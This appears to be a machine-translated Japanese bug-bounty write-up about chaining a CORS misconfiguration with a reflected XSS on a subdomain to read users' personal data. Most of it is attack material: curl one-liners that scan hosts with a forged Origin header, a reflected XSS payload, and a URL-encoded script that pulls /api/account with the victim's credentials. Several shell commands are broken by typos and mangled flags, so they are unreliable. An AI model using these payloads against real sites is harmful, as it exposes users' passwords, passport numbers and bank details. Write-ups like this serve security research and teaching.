ソース:
訳:
CORS バグを探す私のワークフローは次のとおりです。
Burpsuiteのスパイダーでホストを。
スパイダーの後、すべてのホストのURLをコピーしてテキストファイルに保存します。
cat corstexturl.txt | CorsMe
もしくは、
cat corstexturl.txt | soru -u | anew | xargs -n 1 -I{} curl -sk -H “Origin: test.com” | grep “Access-control-allow-origin: test.com”
cat corstexturl.txt | soru -u | anew |while read host do ; do curl -s — path-as-is — insecure -H “Origin: test.com” “$host” | grep -qs “Access-control-allow-origin: test.com” && echo “$host \033[0;31m” cors Vulnerable;done
脆弱なエンドポイント
HTTP リクエストの Origin ヘッダーを試し、サーバーの応答を検査してドメインのホワイトリスト チェックが行われているかどうかを確認したところ、アプリケーションが、存在しないものであっても、サブドメインのみを盲目的にホワイトリストに登録していることに気付き。
この CORS の構成ミスは次のようになります。
HTTP Request:
GET /api/return HTTP/1.1
Host: www.attacker.com
Origin: evil.attacker.com
Connection: close
HTTP Response:
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.attacker.com
この API エンドポイントは、氏名、電子メール アドレス、パスワード、パスポート番号、銀行詳細などのユーザーの個人情報を返していました。
この構成ミスを悪用してユーザーの個人情報を漏洩するなどの攻撃を実行するには、放棄されたサブドメインを要求する ( サブドメインの乗っ取り) か、 XSS 既存のサブドメインの 1 つを見つける必要があります。
より大きな影響を与えるためにバグを連鎖させる:
ケース#2
そこで、2 番目のオプションとして、既存のサブドメインの 1 つで XSS を見つけることにしました。
早速 Google で調べてみたところ、test. Attacker.com と思われるサブドメインの 1 つで Reflected xss を見つけました。 これは、xssを見つけるために使用したGoogle dorkです。
サイト:*. Attacker.com -www ext:jsp
次に、URL を開き、ソースページで hidden 文字列と var 文字列を検索し、反映されているかどうかを確認します。
そこのサブドメインに反映された xss が見つかったら、それを悪用するのが簡単になりました。
https://test.attacker.com/patter.jsp?acct= "><script>alert(document.domain)</script>
優れた概念実証を作成し、レポートを提出します。
POC時間:
したがって、この CORS の構成ミスを悪用するには、XSS ペイロード alert(document.domain) を次のコードに置き換えるだけです。
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.attacker.com/api/account", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
以下の様に。
https://test.attacker.com/patter.jsp?facct="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.attacker.com/api/account",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>
私たちは漏洩した個人情報に関する素晴らしい PoC を完成させました。
ほなほな。